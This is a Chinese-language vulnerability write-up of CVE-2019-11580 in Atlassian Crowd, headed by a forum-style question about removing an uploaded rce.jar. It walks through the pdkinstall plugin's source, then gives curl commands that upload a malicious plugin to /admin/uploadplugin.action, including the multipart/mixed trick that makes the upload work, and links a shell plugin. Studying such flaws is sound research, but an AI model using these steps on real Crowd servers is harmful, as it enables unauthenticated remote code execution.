大佬们,有人知道rce.jar传完以后怎么卸载掉吗……
简介
Atlassian Crowd和Atlassian Crowd Data Center都是澳大利亚Atlassian公司的产品。Atlassian Crowd是一套基于Web的单点登录系统。该系统为多用户、网络应用程序和目录服务器提供验证、授权等功能。Atlassian Crowd Data Center是Crowd的集群部署版。
近日,研究人员发现Atlassian Crowd和Atlassian Crowd Data Center中存在输入验证错误漏洞。该漏洞源于网络系统或产品未对输入的数据进行正确的验证。受影响的产品及版本包括:Atlassian Crowd 2.1.x版本,3.0.5之前的3.0.x版本,3.1.6之前的3.1.x版本,3.2.8之前的3.2.x版本,3.3.5之前的3.3.x版本,3.4.4之前的3.4.版本;Atlassian Crowd Data Center 2.1.x版本,3.0.5之前的3.0.x版本,3.1.6之前的3.1.x版本,3.2.8之前的3.2.x版本,3.3.5之前的3.3.x版本,3.4.4之前的3.4.版本。
漏洞分析
研究人员首先克隆了该插件的源码:
root@doggos:~# git clone https://bitbucket.org/atlassian/pdkinstall-plugin
Cloning into 'pdkinstall-plugin'...
remote: Counting objects: 210, done.
remote: Compressing objects: 100% (115/115), done.
remote: Total 210 (delta 88), reused 138 (delta 56)
Receiving objects: 100% (210/210), 26.20 KiB | 5.24 MiB/s, done.
Resolving deltas: 100% (88/88), done.
可以在./main/resources/atlassian-plugin.xml
中找到插件的描述文件。每个插件都需要一个插件描述文件,其中含有描述插件和模块的XML文件,如下所示:
<atlassian-plugin name="${project.name}" key="com.atlassian.pdkinstall" pluginsVersion="2">
<plugin-info>
<version>${project.version}</version>
<vendor name="Atlassian Software Systems Pty Ltd" url="http://www.atlassian.com"/>
</plugin-info>
<servlet-filter name="pdk install" key="pdk-install" class="com.atlassian.pdkinstall.PdkInstallFilter" location="before-decoration">
<url-pattern>/admin/uploadplugin.action</url-pattern>
</servlet-filter>
<servlet-filter name="pdk manage" key="pdk-manage" class="com.atlassian.pdkinstall.PdkPluginsFilter"
location="before-decoration">
<url-pattern>/admin/plugins.action</url-pattern>
</servlet-filter>
<servlet-context-listener key="fileCleanup" class="org.apache.commons.fileupload.servlet.FileCleanerCleanup" />
<component key="pluginInstaller" class="com.atlassian.pdkinstall.PluginInstaller" />
</atlassian-plugin>
从中可以看出Java servlet类com.atlassian.pdkinstall.PdkInstallFilter
是通过访问/admin/uploadplugin.action
调用的。因为该漏洞是通过任意插件安装的RCE漏洞,所以研究人员决定分析下PdkInstallFilter
servlet的源码。
研究人员将pdkinstall-plugin
导入到IntelliJ中,并开始分析doFilter()
方法。
如果请求方法不是POST,就退出会返回错误:
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
HttpServletResponse res = (HttpServletResponse) servletResponse;
if (!req.getMethod().equalsIgnoreCase("post"))
{
res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Requires post");
return;
}
然后确定请求中是否含有multipart
内容。Multipart内容是指含有一个或多个不同集合的数据。如果其中含有multipart内容就调用extractJar()
方法来提取请求中发送的jar,否则调用buildJarFromFiles()
方法并尝试从请求中的数据中构建插件jar文件。
// Check that we have a file upload request
File tmp = null;
boolean isMultipart = ServletFileUpload.isMultipartContent(req);
if (isMultipart)
{
tmp = extractJar(req, res, tmp);
}
else
{
tmp = buildJarFromFiles(req);
}
下面再看一下extractJar()
方法。
private File extractJar(HttpServletRequest req, HttpServletResponse res, File tmp) throws IOException
{
// Create a new file upload handler
ServletFileUpload upload = new ServletFileUpload(factory);
// Parse the request
try {
List<FileItem> items = upload.parseRequest(req);
for (FileItem item : items)
{
if (item.getFieldName().startsWith("file_") && !item.isFormField())
{
tmp = File.createTempFile("plugindev-", item.getName());
tmp.renameTo(new File(tmp.getParentFile(), item.getName()));
item.write(tmp);
}
}
} catch (FileUploadException e) {
log.warn(e, e);
res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Unable to process file upload");
} catch (Exception e) {
log.warn(e, e);
res.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, "Unable to process file upload");
}
return tmp;
}
首先,用ServletFileUpload
的新对象来示例,然后调用parseRequest()
方法并分析HTTP请求。该方法会处理HTTP请求的multipart/form
数据流,并设置FileItem
s的列表为变量items
。
对每个FileItems中的每个item,如果field名是以file_
开始的,并且不是form field
,就会创建和写如上传到磁盘空文件的文件。如果失败,变量tmp
就为空,如果成功,变量tmp中就含有写入文件的路径。然后返回doFilter()
主方法。
if (tmp != null)
{
List<String> errors = new ArrayList<String>();
try
{
errors.addAll(pluginInstaller.install(tmp));
}
catch (Exception ex)
{
log.error(ex);
errors.add(ex.getMessage());
}
tmp.delete();
if (errors.isEmpty())
{
res.setStatus(HttpServletResponse.SC_OK);
servletResponse.setContentType("text/plain");
servletResponse.getWriter().println("Installed plugin " + tmp.getPath());
}
else
{
res.setStatus(HttpServletResponse.SC_BAD_REQUEST);
servletResponse.setContentType("text/plain");
servletResponse.getWriter().println("Unable to install plugin:");
for (String err : errors)
{
servletResponse.getWriter().println("\t - " + err);
}
}
servletResponse.getWriter().close();
return;
}
res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Missing plugin file");
如果extractJar()
成功,tmp变量就会被设置,并且不等于null
。应用会尝试用pluginInstaller.install()
方法来安装插件,并找到进程中的错误。如果没有错误,服务器就会响应200 OK和插件成功安装的消息。否则,服务器会响应400 Bad Request
和Unable to install plugin
的消息,以及引发安装失败的错误。
如果extractJar()
方法失败了,tmp
变量就会被设置为null
,服务器会响应400 Bad Request
和Missing plugin file
消息。
漏洞利用
下面开始尝试进行漏洞利用。
attempt #1
使用Atlassian SDK来准备一个实例。
确保可以访问http://localhost:4990/crowd/admin/uploadplugin.action
来调用pdkinstall插件。
服务器响应400 Bad Request:
使用已有知识来上传标准插件。研究人员选择尝试atlassian-bundled-plugins
中的applinks-plugin
。
已经了解的信息包括:servlet 需要含有multipart
数据中含有以file_
开头的文件的POST
请求。可以用cURL
的form flag
来实现:
root@doggos:~# curl --form "file_cdl=@applinks-plugin-5.2.6.jar" http://localhost:4990/crowd/admin/uploadplugin.action -v
结果是成功安装了插件,然后就应该创建和安装自己的恶意插件了。研究人员创建的恶意插件见https://github.com/lc/research/tree/master/CVE-2019-11580/atlassian-shell 。
编译并尝试上传:
root@doggos:~# ./compile.sh
root@doggos:~# curl --form "file_cdl=@rce.jar" http://localhost:8095/crowd/admin/uploadplugin.action -v
结果是失败了,并返回了400 Bad Request
和Missing plugin file
的错误消息。如果tmp
为空,服务器会响应准确的消息和状态码,但是为什么呢?下面通过调试来进行分析。
Debug
研究人员将pdkinstall插件导入IntelliJ,打开处理上传的PdkInstallFilter.java servlet
。
研究人员首先猜测是ServletFileUpload.isMultipartContent(req)
方法失败了,所以研究人员设置了一个断点。然后尝试再次上传插件,但研究人员发现这次正常了,而且服务器将它看作multipart
内容:
所以应该是extractJar()
失败了。研究人员对该方法进行了调试,并一行行设置了断点来找出哪里失败了。在设置完断点后,研究人员再次进行了尝试:
动态图:https://www.corben.io/images/atlassian/extractJar-debugging.gif
可以看出upload.parseRequest(req)
方法返回了空数组。因为items
变量是空,所以跳过了循环,并返回设置为NULL
的tmp
。
attempt #2
研究人员决定尝试通过Content-Type: multipart/mixed
的形式来上传恶意插件。
curl -k -H "Content-Type: multipart/mixed" \
--form "file_cdl=@rce.jar" http://localhost:4990/crowd/admin/uploadplugin.action
响应插件安装的消息:
下面看一下是否可以调用恶意插件:
执行成功。